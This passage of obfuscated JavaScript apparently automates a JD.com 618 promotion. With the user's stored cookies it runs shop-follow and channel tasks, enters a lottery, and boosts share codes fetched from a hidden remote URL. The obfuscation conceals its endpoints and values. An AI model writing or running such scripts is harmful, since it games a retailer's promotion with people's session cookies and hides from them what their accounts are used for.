_0x4b38e={'inpry':'application/json,\x20text/plain,\x20*/*','POaBW':_0x580316[_0x49e1('c3','cu4Y')],'LWWDq':_0x580316[_0x49e1('c4','9gIW')],'JevAD':_0x580316['wgEWz'],'iGeQA':_0x49e1('c5','lKzt'),'tsYaz':_0x49e1('c6','euW4'),'oTgiX':_0x49e1('c7','#6v6'),'bneit':_0x580316[_0x49e1('c8','0h0g')]};try{if(_0x580316['XbOmm']('LMaZL',_0x580316[_0x49e1('c9','H%a$')])){$['log'](_0x580316[_0x49e1('ca','cu4Y')](result[_0x49e1('cb','0!!V')],'\x0a'));}else{const _0x3570d9=JSON[_0x49e1('cc','92v[')](_0x35a582);if(logs)$[_0x49e1('cd','H%a$')](_0x35a582);if(_0x3570d9&&_0x3570d9[_0x49e1('ce','WZ^L')]&&_0x3570d9[_0x49e1('cf','Gyql')]==0xc8&&_0x3570d9[_0x49e1('d0','k$Vn')][_0x49e1('d1','#6v6')]==0x7){console[_0x49e1('d2','0h0g')](_0x49e1('d3','92v['));}else if(_0x580316[_0x49e1('d4',']@jd')](_0x3570d9[_0x49e1('d5','6xw5')]['status'],0x1)){$['log'](_0x580316[_0x49e1('d6','WZ^L')]);}else if(_0x580316[_0x49e1('d7','nYN[')](_0x3570d9[_0x49e1('d8','c1I1')][_0x49e1('d9','pUel')],0x3)){$[_0x49e1('da','oNuW')](_0x49e1('db','9gIW'));}}}catch(_0x2a3ac9){if(_0x580316[_0x49e1('dc','os^Y')](_0x580316[_0x49e1('dd','(2qs')],_0x580316[_0x49e1('de','^fE*')])){$[_0x49e1('df','c1I1')](_0x2a3ac9,_0x1b3a69);}else{const _0x3d5d46=_0x49e1('e0','CtxQ');const _0x292318=_0x49e1('e1','5nIZ');const _0xf595f8={'Accept':_0x4b38e[_0x49e1('e2','ES%V')],'Accept-Encoding':_0x4b38e[_0x49e1('e3','sJC]')],'Accept-Language':_0x4b38e[_0x49e1('e4','Gyql')],'Connection':_0x4b38e[_0x49e1('e5','lKzt')],'Content-Type':_0x4b38e[_0x49e1('e6','^fE*')],'Cookie':cookie,'Host':_0x4b38e[_0x49e1('e7','G^pB')],'Origin':_0x4b38e[_0x49e1('e8','omiL')],'Referer':_0x49e1('6e','pUel'),'User-Agent':_0x4b38e['bneit']};return{'url':_0x3d5d46,'method':_0x292318,'headers':_0xf595f8};}}finally{if(_0x580316[_0x49e1('e9','#6v6')](_0x580316['ebntE'],'QCvtR')){console['log'](_0x580316['ZdtDY']);}else{_0x580316[_0x49e1('ea','92v[')](_0x526e48);}}});});}async function zy(){var _0x16bf4d={'Iumnv':function(_0x309b66,_0x24f7fe){return _0x309b66+_0x24f7fe;},'QFUzi':function(_0x532d2d,_0x158156){return _0x532d2d<_0x158156;},'jnMTF':function(_0x5d655b,_0x51049f){return _0x5d655b(_0x51049f);},'ieABj':function(_0xd45045,_0x1b7625){return _0xd45045!==_0x1b7625;},'IveXn':'NHQvA','zbJDZ':'TlEOJ','ABcGl':'\x0a开始内部助力'};for(let _0x518a69=0x0;_0x16bf4d['QFUzi'](_0x518a69,_0x16bf4d['jnMTF'](distinct,shareidArr)[_0x49e1('eb','0h0g')]);_0x518a69++){if(_0x16bf4d['ieABj'](_0x16bf4d[_0x49e1('ec','P5ZW')],_0x16bf4d['zbJDZ'])){console[_0x49e1('ed','Bg*j')](_0x16bf4d[_0x49e1('ee','oNuW')](_0x16bf4d[_0x49e1('ef','h90t')](_0x16bf4d['ABcGl'],shareidArr[_0x518a69]),''));await _0x16bf4d[_0x49e1('f0','92v[')](dosupport,shareidArr[_0x518a69]);await $[_0x49e1('f1','c1I1')](0x1f40);}else{strDate=_0x16bf4d[_0x49e1('f2','cu4Y')]('0',strDate);}}}async function getlist(){var _0x536aba={'RPgoy':function(_0x2241c5){return _0x2241c5();},'ydhYN':_0x49e1('f3','os^Y'),'sRdsr':_0x49e1('f4','oNuW'),'rGJQn':function(_0x29026e,_0x54b852){return _0x29026e===_0x54b852;},'XFIdm':_0x49e1('f5','B46s'),'USMAG':function(_0x99b73b,_0x3a3bb6){return _0x99b73b!==_0x3a3bb6;},'AbKzh':_0x49e1('f6','H%a$'),'IpBmK':_0x49e1('f7','^fE*'),'wZEJn':_0x49e1('f8','cu4Y'),'OJqbf':function(_0x54d616,_0x5c166f){return _0x54d616+_0x5c166f;},'evipQ':function(_0x3c081d){return _0x3c081d();},'sMXls':_0x49e1('f9','kA#Y'),'lveNe':function(_0x372721,_0x368ca3){return _0x372721(_0x368ca3);}};const _0xec21d6=_0x536aba[_0x49e1('fa','euW4')](PostRequest,_0x49e1('fb','euW4')+currentdate+_0x49e1('fc','oNuW')+new Date()[_0x49e1('fd','pUel')]()+'&loginType=2');return new Promise(_0x87df6d=>{var _0x4901af={'DWJcv':function(_0x41638b){return _0x536aba[_0x49e1('fe','Bg*j')](_0x41638b);},'kZNAP':_0x49e1('ff','euW4'),'oknBZ':_0x536aba[_0x49e1('100','ES%V')]};$[_0x49e1('101','h90t')](_0xec21d6,async(_0x2f550d,_0x10c97f,_0x4f1f44)=>{var _0x3518c7={'BEMef':function(_0xb978b1){return _0x536aba[_0x49e1('102','!Y1m')](_0xb978b1);}};try{if(_0x536aba[_0x49e1('103','Bg*j')]===_0x536aba[_0x49e1('104','Bg*j')]){_0x3518c7[_0x49e1('105','9qHj')](_0x87df6d);}else{const _0x4d36e7=JSON[_0x49e1('106','5nIZ')](_0x4f1f44);if(logs)$['log'](_0x4f1f44);if(_0x4d36e7&&_0x4d36e7[_0x49e1('107','osi%')]&&_0x4d36e7[_0x49e1('108','kA#Y')]==0xc8){if(_0x536aba['rGJQn'](_0x536aba['XFIdm'],_0x536aba['XFIdm'])){$[_0x49e1('109','VRys')]=_0x4d36e7['data'];for(var _0x1d998f in $[_0x49e1('10a','Sizb')]){if(_0x536aba['USMAG'](_0x536aba[_0x49e1('10b','c1I1')],_0x49e1('10c','0!!V'))){_0x4901af[_0x49e1('10d','5v)#')](_0x87df6d);}else{taskTypeArr['push']($[_0x49e1('10e','9^M$')][_0x1d998f][_0x49e1('10f','9qHj')]);taskIdArr[_0x49e1('110','(2qs')]($[_0x49e1('111','P5ZW')][_0x1d998f][_0x49e1('112','cu4Y')]);}}}else{$[_0x49e1('113','(2qs')]('😫助力失败,已经助力过了\x0a');}}else{if(_0x536aba[_0x49e1('114','euW4')](_0x536aba[_0x49e1('115','sJC]')],_0x536aba[_0x49e1('116','5ix!')])){$['log'](_0x536aba[_0x49e1('117','WU9B')](_0x536aba[_0x49e1('118','oNuW')]('😫',_0x4d36e7[_0x49e1('119','N@4T')]),'\x0a'));}else{cookiesArr=[$[_0x49e1('11a','9qHj')](_0x4901af[_0x49e1('11b','k$Vn')]),$[_0x49e1('11c','lKzt')](_0x4901af[_0x49e1('11d',']@jd')]),...$[_0x49e1('11e','9^M$')]($['getdata']('CookiesJD')||'[]')[_0x49e1('11f','^fE*')](_0x32cc63=>_0x32cc63[_0x49e1('120','ES%V')])]['filter'](_0x5b41b7=>!!_0x5b41b7);}}}}catch(_0x1ab2ee){$['logErr'](_0x1ab2ee,_0x10c97f);}finally{_0x87df6d();}});});}async function select(){var _0x38ce2e={'JKsad':function(_0x853e60,_0x2d1b3d){return _0x853e60(_0x2d1b3d);},'BZnNM':_0x49e1('121','ES%V'),'xLYFJ':function(_0x3c4ab8,_0x2e72b8){return _0x3c4ab8*_0x2e72b8;},'vDiWO':'FOLLOW_CHANNEL_TASK_0001','klnHy':_0x49e1('122','N@4T'),'DWgza':function(_0x5cfbb0){return _0x5cfbb0();},'MDmsl':function(_0x282d37,_0x1e384c){return _0x282d37*_0x1e384c;},'XKRaK':'FOLLOW_SHOP_TASK_0001','nwbwg':function(_0x295534){return _0x295534();},'FrVud':function(_0x23fddb,_0x455a11){return _0x23fddb*_0x455a11;},'wTlgT':_0x49e1('123','Sizb'),'OmBPS':function(_0x5b9a3c){return _0x5b9a3c();},'YhZaj':function(_0xb57cf1,_0x430762){return _0xb57cf1*_0x430762;}};for(var _0x2f6a28 in _0x38ce2e[_0x49e1('124','oE*m')](distinct,taskTypeArr)){if(_0x38ce2e[_0x49e1('125','ES%V')]==='oZmXr'){$[_0x49e1('126','P5ZW')](e,response);}else{tasktype=taskTypeArr[_0x2f6a28];taskid=taskIdArr[_0x2f6a28];switch(tasktype){case _0x49e1('127','oNuW'):$[_0x49e1('128','g85[')]=0x5;$[_0x49e1('129','^fE*')]=_0x49e1('12a','9gIW');await scan();await $['wait'](_0x38ce2e['xLYFJ']($['waits'],0x3e8));await doTask();break;case _0x38ce2e[_0x49e1('12b','N@4T')]:$['waits']=0x2;$['end']=_0x38ce2e[_0x49e1('12c','k$Vn')];await _0x38ce2e[_0x49e1('12d','CtxQ')](scan);await $['wait'](_0x38ce2e[_0x49e1('12e','omiL')]($['waits'],0x3e8));await _0x38ce2e[_0x49e1('12f','Gyql')](doTask);break;case _0x38ce2e[_0x49e1('130','0h0g')]:$[_0x49e1('131','h90t')]=0x2;$['end']=_0x38ce2e[_0x49e1('132','5ix!')];await _0x38ce2e[_0x49e1('133','WZ^L')](scan);await $[_0x49e1('134','G^pB')](_0x38ce2e[_0x49e1('135','lKzt')]($[_0x49e1('136','Sizb')],0x3e8));await doTask();break;case _0x38ce2e[_0x49e1('137','0!!V')]:$['waits']=0x2;$[_0x49e1('138','pUel')]='/api/task/getReward';await _0x38ce2e[_0x49e1('139','osi%')](scan);await $['wait'](_0x38ce2e['YhZaj']($['waits'],0x3e8));await _0x38ce2e[_0x49e1('13a','c1I1')](doTask);break;}}}}async function select2(){var _0x870816={'iWXOk':function(_0x3555ba){return _0x3555ba();},'pEibS':function(_0x29c0ec,_0x3c50b8){return _0x29c0ec(_0x3c50b8);},'EJiDB':function(_0xb566cc,_0x4db001){return _0xb566cc!==_0x4db001;},'RvMRy':_0x49e1('13b','g85['),'meBse':_0x49e1('13c','!Y1m'),'GlxLu':function(_0x223fa3,_0x125479){return _0x223fa3*_0x125479;},'PiSZq':_0x49e1('13d','euW4'),'EWKET':_0x49e1('13e','h90t'),'BDFRb':function(_0x1ae969){return _0x1ae969();},'zhlyS':function(_0x4579c7,_0x43e7e0){return _0x4579c7*_0x43e7e0;}};for(var _0x1c495f in _0x870816[_0x49e1('13f','#6v6')](distinct,taskTypeArr)){if(_0x870816[_0x49e1('140','Sizb')](_0x870816[_0x49e1('141','#6v6')],_0x870816[_0x49e1('142','3@lB')])){_0x870816[_0x49e1('143','LoOu')](resolve);}else{tasktype=taskTypeArr[_0x1c495f];taskid=taskIdArr[_0x1c495f];switch(tasktype){case _0x870816[_0x49e1('144','3YW(')]:$['waits']=0x2;$['end']='/api/task/doTask';await scan();await doTask();await $['wait'](_0x870816[_0x49e1('145','G^pB')]($['waits'],0x3e8));break;case _0x870816[_0x49e1('146','lKzt')]:$[_0x49e1('147','Ur#%')]=0x2;$[_0x49e1('148','lKzt')]=_0x870816[_0x49e1('149','ES%V')];await _0x870816['iWXOk'](scan);await _0x870816['BDFRb'](doTask);await $[_0x49e1('14a','(2qs')](_0x870816['zhlyS']($['waits'],0x3e8));break;}}}}async function doTask(){var _0x50e261={'AWktI':function(_0x2c558a,_0x1218f7){return _0x2c558a!==_0x1218f7;},'vBrJp':function(_0x5e31e3,_0x38f1bd){return _0x5e31e3==_0x38f1bd;},'MdmCX':function(_0x4819e6,_0x57b6a2){return _0x4819e6===_0x57b6a2;},'rtjfj':'gZQCg','jZcOj':function(_0x375d6c){return _0x375d6c();}};let _0x246b23=$[_0x49e1('14b','P5ZW')]?$['timeStamp']:new Date()[_0x49e1('14c','k$Vn')]();const _0x1855f1=_0x49e1('14d','92v[')+tasktype+_0x49e1('14e','Ur#%')+taskid+_0x49e1('14f','oNuW')+_0x246b23+_0x49e1('150','H%a$')+currentdate+_0x49e1('151','9qHj')+$[_0x49e1('152','0!!V')]+_0x49e1('153','5nIZ')+new Date()[_0x49e1('154','g85[')]()+_0x49e1('155','0!!V');const _0x486519=PostRequest(_0x1855f1);return new Promise(_0x3fcf70=>{var _0x565c0e={'Waegn':function(_0x263bd9,_0x54ff9c){return _0x263bd9==_0x54ff9c;},'Fkuqz':function(_0x285263,_0x59a1a4){return _0x50e261['AWktI'](_0x285263,_0x59a1a4);},'fmbJt':function(_0x25d441,_0x2d4fad){return _0x50e261[_0x49e1('156','g85[')](_0x25d441,_0x2d4fad);},'koDyl':_0x49e1('157','0!!V'),'bbEdz':function(_0x4e691f,_0x4783b1){return _0x50e261['MdmCX'](_0x4e691f,_0x4783b1);},'GBfja':_0x50e261[_0x49e1('158','9gIW')],'rlsod':function(_0x4dab14,_0x20c7cc){return _0x4dab14+_0x20c7cc;},'fBNee':function(_0x28b77f){return _0x50e261[_0x49e1('159','3YW(')](_0x28b77f);}};$[_0x49e1('15a','9gIW')](_0x486519,async(_0x264d9e,_0x253172,_0x577e7f)=>{try{if(_0x565c0e[_0x49e1('15b','P5ZW')](_0x49e1('15c','sJC]'),_0x49e1('15d','!Y1m'))){console[_0x49e1('15e','ecwQ')](e);$['msg']($['name'],'',_0x49e1('15f','Ur#%'));return[];}else{const _0x29a1ef=JSON[_0x49e1('160','9gIW')](_0x577e7f);$[_0x49e1('8c','P5ZW')](_0x577e7f);if(_0x29a1ef&&_0x29a1ef['code']&&_0x565c0e[_0x49e1('161','WZ^L')](_0x29a1ef[_0x49e1('162','P5ZW')],0xc8)){console[_0x49e1('163','WZ^L')](_0x565c0e[_0x49e1('164',']@jd')]);await $[_0x49e1('165','3YW(')](0x1f40);}else{if(_0x565c0e[_0x49e1('166','9gIW')](_0x565c0e[_0x49e1('167','g85[')],_0x49e1('168','WZ^L'))){$[_0x49e1('169','cu4Y')](_0x565c0e[_0x49e1('16a','9qHj')](_0x29a1ef['msg'],'\x0a'));}else{if(hour==0xc&&minute<=0x14||_0x565c0e[_0x49e1('16b','3YW(')](hour,0x17)&&minute>=0x28){$[_0x49e1('16c','os^Y')](zhiyi,'',message);}else{$[_0x49e1('16d','9gIW')](message);}}}}}catch(_0x337766){$[_0x49e1('16e','5nIZ')](_0x337766,_0x253172);}finally{_0x565c0e['fBNee'](_0x3fcf70);}});});}async function lottery(){var _0x3bf4c6={'PsrxS':_0x49e1('16f','oE*m'),'HQkok':'gzip,\x20deflate,\x20br','LOapL':_0x49e1('170','c1I1'),'WgCxY':_0x49e1('171','P5ZW'),'cvEwV':'https://dnsm618-100million.m.jd.com/?tttparams=i1zsmeyJsbmciOiIxMjEuNDA2ODU4IiwiZ0xhdCI6IjMxLjM2MDY0IiwibGF0IjoiMzEuMzYzODE2IiwiZ0xuZyI6IjEyMS4zOTQzNCIsImdwc19hcmVhIjoiMl8yODI0XzUxOTE2XzAiLCJ1bl9hcmVhIjoiMl8yODI0XzUxOTE2XzAifQ5%3D%3D&lng=121.4068579645437&lat=31.3638155217524&sid=e6dd8c1e78a945e105d9896b009fc6aw&un_area=2_2824_51916_0','CpHfN':'jdapp;iPhone;9.4.6;14.4;0bcbcdb2a68f16cf9c9ad7c9b944fd141646a849;network/4g;ADID/BF650B20-A81A-4172-98EE-064834D97D6E;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone12,1;addressid/2377723269;supportBestPay/0;appBuild/167618;jdSupportDarkMode/0;Mozilla/5.0\x20(iPhone;\x20CPU\x20iPhone\x20OS\x2014_4\x20like\x20Mac\x20OS\x20X)\x20AppleWebKit/605.1.15\x20(KHTML,\x20like\x20Gecko)\x20Mobile/15E148;supportJDSHWK/1','ntlXZ':function(_0x5ae3bf){return _0x5ae3bf();},'FwFxt':_0x49e1('172','Sizb'),'iczOQ':_0x49e1('173','5v)#'),'kKmWm':_0x49e1('174','Gyql'),'LscgZ':_0x49e1('175','c1I1'),'lyFoi':function(_0x2f9c82,_0x579b4c){return _0x2f9c82(_0x579b4c);}};const _0x58a70f='appid=china-joy&functionId=champion_game_prod&body={\x22activityDate\x22:\x22'+currentdate+'\x22,\x22apiMapping\x22:\x22/api/lottery/lottery\x22}&t='+new Date()[_0x49e1('176','Gyql')]()+_0x49e1('177','#6v6');const _0xdac550=_0x3bf4c6[_0x49e1('178','kA#Y')](PostRequest,_0x58a70f);return new Promise(_0x2e8890=>{var _0x39fa40={'xSFhx':function(_0x2301bb){return _0x3bf4c6[_0x49e1('179','9gIW')](_0x2301bb);},'hCSxf':function(_0x2f2eaf,_0x28c1c2){return _0x2f2eaf===_0x28c1c2;},'zhqqu':'zeLIA','FtGKk':function(_0xe39f88,_0x1541bd){return _0xe39f88==_0x1541bd;},'DaElQ':_0x49e1('17a','g85['),'rcCdf':_0x3bf4c6[_0x49e1('17b','3@lB')],'PZqdW':_0x3bf4c6[_0x49e1('17c','cu4Y')],'NHYgO':_0x3bf4c6[_0x49e1('17d','os^Y')],'iFJkz':function(_0x19e09c){return _0x3bf4c6[_0x49e1('17e','0!!V')](_0x19e09c);}};if(_0x49e1('17f','osi%')!==_0x3bf4c6[_0x49e1('180','92v[')]){$[_0x49e1('181','G^pB')](_0xdac550,async(_0x480d2d,_0x1972a6,_0x5c7df1)=>{try{if(_0x39fa40['hCSxf'](_0x39fa40[_0x49e1('182','cu4Y')],_0x39fa40[_0x49e1('183','#6v6')])){const _0x19a65c=JSON[_0x49e1('184','c1I1')](_0x5c7df1);$[_0x49e1('185','5ix!')](_0x5c7df1);if(_0x19a65c&&_0x19a65c[_0x49e1('186','Ur#%')]&&_0x39fa40[_0x49e1('187','kA#Y')](_0x19a65c['code'],0xc8)){console[_0x49e1('a4','lKzt')](_0x39fa40[_0x49e1('188','9gIW')]);await $['wait'](0x1f40);}else{if(_0x39fa40[_0x49e1('189','^fE*')](_0x39fa40[_0x49e1('18a','oE*m')],_0x39fa40[_0x49e1('18b','H%a$')])){$[_0x49e1('18c','5nIZ')](_0x19a65c[_0x49e1('18d','osi%')]+'\x0a');}else{return Array[_0x49e1('18e','3@lB')](new Set(array));}}}else{$['logErr'](e,_0x1972a6);}}catch(_0x4992b4){$['logErr'](_0x4992b4,_0x1972a6);}finally{if(_0x39fa40['PZqdW']===_0x39fa40[_0x49e1('18f','omiL')]){_0x39fa40['xSFhx'](_0x2e8890);}else{_0x39fa40[_0x49e1('190','5ix!')](_0x2e8890);}}});}else{const _0x40aea0=_0x49e1('191','WZ^L');const _0x10b534=_0x49e1('192','ecwQ');const _0x46e39d={'Accept':_0x3bf4c6[_0x49e1('193','5ix!')],'Accept-Encoding':_0x3bf4c6[_0x49e1('194','G^pB')],'Accept-Language':_0x49e1('195','omiL'),'Connection':_0x49e1('196','9gIW'),'Content-Type':_0x49e1('197','nYN['),'Cookie':cookie,'Host':_0x3bf4c6[_0x49e1('198','k$Vn')],'Origin':_0x3bf4c6[_0x49e1('199',')GaO')],'Referer':_0x3bf4c6['cvEwV'],'User-Agent':_0x3bf4c6['CpHfN']};return{'url':_0x40aea0,'method':_0x10b534,'headers':_0x46e39d,'body':_0x58a70f};}});}async function scan(){var _0x4fb0e6={'JgCdQ':function(_0x413411,_0x215af1){return _0x413411==_0x215af1;},'xTkXo':_0x49e1('19a','3YW('),'rrtAA':_0x49e1('19b','k$Vn'),'VSfqe':_0x49e1('19c','c1I1')};const _0x46194e=_0x49e1('19d',']@jd')+tasktype+_0x49e1('19e','5v)#')+taskid+_0x49e1('19f','!Y1m')+currentdate+_0x49e1('1a0','(2qs')+new Date()['getTime']()+_0x49e1('1a1','h90t');const _0x21a014=PostRequest(_0x46194e);return new Promise(_0x4e36ef=>{$[_0x49e1('1a2','omiL')](_0x21a014,async(_0x4f363e,_0x569d2b,_0x110409)=>{try{const _0x352793=JSON[_0x49e1('1a3','!Y1m')](_0x110409);if(logs)$[_0x49e1('1a4','g85[')](_0x110409);if(_0x352793&&_0x352793['code']&&_0x4fb0e6[_0x49e1('1a5','G^pB')](_0x352793['code'],0xc8)){$[_0x49e1('1a6','pUel')]=_0x352793[_0x49e1('1a7','9gIW')][_0x49e1('1a6','pUel')];if($['timeStamp'])$[_0x49e1('1a8',')GaO')](_0x49e1('1a9','CtxQ'));await $[_0x49e1('1aa','h90t')](0x3e8);}else{if(_0x4fb0e6[_0x49e1('1ab','sJC]')]!==_0x4fb0e6[_0x49e1('1ac','osi%')]){$['log'](_0x4fb0e6[_0x49e1('1ad','sJC]')]);}else{sharecodeArr[_0x49e1('1ae','G^pB')](sharecodesArr[i][j]['Code']);}}}catch(_0x24eee2){$[_0x49e1('1af','ecwQ')](_0x24eee2,_0x569d2b);}finally{_0x4e36ef();}});});}async function readShareCodes(){var _0x34f52f={'WihRi':function(_0x332e60,_0x43c463){return _0x332e60==_0x43c463;},'jRhKA':_0x49e1('1b0','(2qs'),'FSVPb':function(_0x4dcd70,_0x48a81f){return _0x4dcd70+_0x48a81f;},'TSOAA':function(_0x47c743){return _0x47c743();},'YXxiq':_0x49e1('1b1','oNuW'),'VsZOZ':function(_0x260d08,_0x4cd2e5){return _0x260d08<_0x4cd2e5;},'zpprb':function(_0x276f3b,_0x49827a){return _0x276f3b!==_0x49827a;},'CzKqE':_0x49e1('1b2','5ix!'),'CphFv':_0x49e1('1b3','Ur#%'),'ZDJKm':_0x49e1('1b4','5v)#'),'iElpu':function(_0x132f54,_0x3f82d4){return _0x132f54===_0x3f82d4;},'UPNJe':_0x49e1('1b5','6xw5'),'JlzSM':'ZhpzG'};return new Promise(_0x5d6371=>{var _0x473cf4={'XQrty':function(_0x32cc3d,_0x5d056a){return _0x34f52f[_0x49e1('1b6','WZ^L')](_0x32cc3d,_0x5d056a);},'siaka':_0x34f52f['jRhKA'],'EorBe':function(_0x4971de,_0x519f26){return _0x34f52f[_0x49e1('1b7','WU9B')](_0x4971de,_0x519f26);},'NKNdh':function(_0x43da0d){return _0x34f52f[_0x49e1('1b8','(2qs')](_0x43da0d);},'CHoAI':_0x49e1('1b9','c1I1'),'DYIVv':_0x34f52f[_0x49e1('1ba',']@jd')],'FlISl':function(_0x3be303,_0x26bade){return _0x34f52f[_0x49e1('1bb','Gyql')](_0x3be303,_0x26bade);},'thyTj':function(_0x308d6d,_0x1b1e60){return _0x34f52f['zpprb'](_0x308d6d,_0x1b1e60);},'UOffM':_0x34f52f[_0x49e1('1bc','cu4Y')],'LkodN':function(_0x3ec112,_0x558904){return _0x3ec112===_0x558904;},'JHhsq':_0x34f52f['CphFv'],'nEKbJ':_0x34f52f['ZDJKm'],'LWefh':function(_0x1b21c8,_0x2f48d7){return _0x34f52f[_0x49e1('1bd','nYN[')](_0x1b21c8,_0x2f48d7);},'RuUGa':'soXLl','LkPCu':_0x34f52f['UPNJe'],'fbZwU':_0x34f52f[_0x49e1('1be','pUel')],'bqDdm':function(_0x2486b2){return _0x2486b2();}};let _0x1abeb9={'url':_0x49e1('1bf','Ur#%')};$[_0x49e1('1c0','B46s')](_0x1abeb9,async(_0x30cfa5,_0x215dee,_0x409f07)=>{var _0xffd407={'HfJQy':function(_0x271dbd){return _0x473cf4[_0x49e1('1c1','6xw5')](_0x271dbd);},'cJcTJ':function(_0x125a44,_0x3f7f0f){return _0x125a44+_0x3f7f0f;}};if(_0x473cf4[_0x49e1('1c2','N@4T')]==='yxghv'){_0xffd407[_0x49e1('1c3',')GaO')](_0x5d6371);}else{try{const _0x5196e2=JSON[_0x49e1('1c4','G^pB')](_0x409f07);if(!![]){var _0x3013ac=new Array();for(var _0x37c769 in _0x5196e2){if('oizAy'===_0x473cf4[_0x49e1('1c5','os^Y')]){_0x3013ac[_0x49e1('1c6','3@lB')](_0x5196e2[_0x37c769]);}else{$[_0x49e1('119','N@4T')]($[_0x49e1('1c7','omiL')],_0x49e1('1c8','oE*m'));return;}}var _0x2fcf89=new Array();for(let _0x37c769=0x0;_0x473cf4[_0x49e1('1c9','6xw5')](_0x37c769,_0x3013ac[_0x49e1('1ca','3@lB')]);_0x37c769++){if(_0x473cf4[_0x49e1('1cb','92v[')](_0x473cf4[_0x49e1('1cc','6xw5')],_0x473cf4[_0x49e1('1cd','0!!V')])){if(_0x473cf4['XQrty'](typeof str,_0x473cf4[_0x49e1('1ce','92v[')])){try{return JSON['parse'](str);}catch(_0x2ab7c5){console[_0x49e1('1cf','B46s')](_0x2ab7c5);$['msg']($[_0x49e1('1d0','9gIW')],'',_0x49e1('1d1','euW4'));return[];}}}else{for(var _0x8d3edb in _0x3013ac[_0x37c769]){if(_0x473cf4[_0x49e1('1d2','LoOu')](_0x473cf4[_0x49e1('1d3','h90t')],_0x473cf4[_0x49e1('1d4','pUel')])){$[_0x49e1('1d5','G^pB')]=_0x5196e2[_0x49e1('1d6','0!!V')];for(var _0x33bac0 in $[_0x49e1('1d7','h90t')]){taskTypeArr[_0x49e1('1d8','92v[')]($[_0x49e1('1d9','(2qs')][_0x33bac0][_0x49e1('1da','ES%V')]);taskIdArr['push']($[_0x49e1('1db','9gIW')][_0x33bac0][_0x49e1('1dc','9^M$')]);}}else{_0x2fcf89[_0x49e1('1c6','3@lB')](_0x3013ac[_0x37c769][_0x8d3edb]['Code']);}}}}CodeArr=_0x2fcf89;return _0x2fcf89;}}catch(_0x2aa09e){if(_0x473cf4[_0x49e1('1dd','#6v6')](_0x473cf4[_0x49e1('1de','kA#Y')],_0x473cf4[_0x49e1('1df','oNuW')])){$['log'](_0x473cf4[_0x49e1('1e0','0h0g')]('😫'+result[_0x49e1('1e1','WU9B')],'\x0a'));}else{$[_0x49e1('5e','0h0g')](_0x2aa09e,_0x215dee);}}finally{if(_0x473cf4['fbZwU']!==_0x473cf4['fbZwU']){$[_0x49e1('1e2','WU9B')](_0xffd407['cJcTJ']('😫'+result[_0x49e1('1e3',']@jd')],'\x0a'));}else{_0x473cf4[_0x49e1('1e4','3@lB')](_0x5d6371);}}}});});}async function formatcode(){var _0x595deb={'JnYGL':function(_0x399872){return _0x399872();},'xngWb':function(_0x23f175,_0x2767bb){return _0x23f175+_0x2767bb;},'zWZsg':function(_0x12bcc0,_0x2f12ba){return _0x12bcc0<_0x2f12ba;},'RlOfw':function(_0x417465,_0x845747){return _0x417465+_0x845747;},'SlQVM':function(_0x106f71,_0x19411d){return _0x106f71+_0x19411d;},'GghpH':function(_0x428155,_0x8ab020){return _0x428155+_0x8ab020;},'IwHtR':function(_0x18009d,_0x485794){return _0x18009d(_0x485794);},'lGiHO':function(_0x2c6dc7,_0x414d73){return _0x2c6dc7*_0x414d73;}};await _0x595deb['JnYGL'](readShareCodes);var _0x159e66=[];var _0x3d4c00=CodeArr;var _0x4b4df7=_0x3d4c00[_0x49e1('1e5','(2qs')];for(var _0x266b12=0x0;_0x266b12<0x3;_0x266b12++){var _0x381450=_0x595deb[_0x49e1('1e6','B46s')](~~(Math[_0x49e1('1e7','cu4Y')]()*_0x4b4df7),_0x266b12);_0x159e66[_0x266b12]=_0x3d4c00[_0x381450];_0x3d4c00[_0x381450]=_0x3d4c00[_0x266b12];_0x4b4df7--;}console[_0x49e1('1e8','G^pB')](_0x595deb[_0x49e1('1e9','3@lB')](_0x595deb['xngWb'](_0x49e1('1ea','5nIZ'),$[_0x49e1('1eb','h90t')]+_0x49e1('1ec','ES%V')),_0x159e66)+'】\x0a');for(let _0x266b12=0x0;_0x595deb['zWZsg'](_0x266b12,_0x159e66[_0x49e1('eb','0h0g')]);_0x266b12++){console[_0x49e1('169','cu4Y')](_0x595deb[_0x49e1('1ed','sJC]')](_0x595deb[_0x49e1('1ee','3@lB')]('开始第'+_0x595deb[_0x49e1('1ef',')GaO')](_0x266b12,0x1)+'次助力',_0x159e66[_0x266b12]),'\x0a'));await _0x595deb['IwHtR'](dosupport,_0x159e66[_0x266b12]);await $['wait'](_0x595deb['lGiHO'](0x3e8,_0x159e66[_0x49e1('1f0','Bg*j')]));}}async function showmsg(){var _0x349347={'OoaCy':function(_0x4d09dd,_0x58431d){return _0x4d09dd==_0x58431d;},'lqKSu':function(_0x2db623,_0x5ef581){return _0x2db623==_0x5ef581;},'mfSaY':function(_0x5a9ca6,_0x49baa7){return _0x5a9ca6<=_0x49baa7;},'nwZUz':function(_0x3b9c2d,_0x42a01b){return _0x3b9c2d>=_0x42a01b;},'PeWbf':function(_0x1ed539,_0x3d048e){return _0x1ed539>=_0x3d048e;}};if(_0x349347[_0x49e1('1f1','Gyql')](tz,0x1)){if($[_0x49e1('1f2','kA#Y')]()){if(_0x349347['lqKSu'](hour,0xc)&&_0x349347['mfSaY'](minute,0x14)||_0x349347[_0x49e1('1f3','oE*m')](hour,0x17)&&_0x349347[_0x49e1('1f4','nYN[')](minute,0x28)){await notify['sendNotify']($[_0x49e1('1f5','ecwQ')],message);}else{$[_0x49e1('1f6','os^Y')](message);}}else{if(hour==0xc&&minute<=0x14||_0x349347[_0x49e1('1f7','CtxQ')](hour,0x17)&&_0x349347[_0x49e1('1f8','Sizb')](minute,0x28)){$[_0x49e1('24','9gIW')](zhiyi,'',message);}else{$['log'](message);}}}else{$[_0x49e1('1e8','G^pB')](message);}}function jsonParse(_0x1a6aac){var _0x495161={'MExXR':_0x49e1('1f9','kA#Y'),'OICzp':_0x49e1('1fa','92v[')};if(typeof _0x1a6aac==_0x495161[_0x49e1('1fb','G^pB')]){try{return JSON['parse'](_0x1a6aac);}catch(_0x5d3326){console[_0x49e1('1a8',')GaO')](_0x5d3326);$[_0x49e1('1fc','ecwQ')]($['name'],'',_0x495161[_0x49e1('1fd','P5ZW')]);return[];}}}function distinct(_0xd31ddc){return Array[_0x49e1('1fe','9^M$')](new Set(_0xd31ddc));}function getNowFormatDate(){var _0x143b98={'VgYKQ':function(_0x78eb4d,_0x169507){return _0x78eb4d+_0x169507;},'ATWBQ':function(_0x7b4ebd,_0x593bc3){return _0x7b4ebd+_0x593bc3;},'kAPvT':function(_0x182639,_0x43d245){return 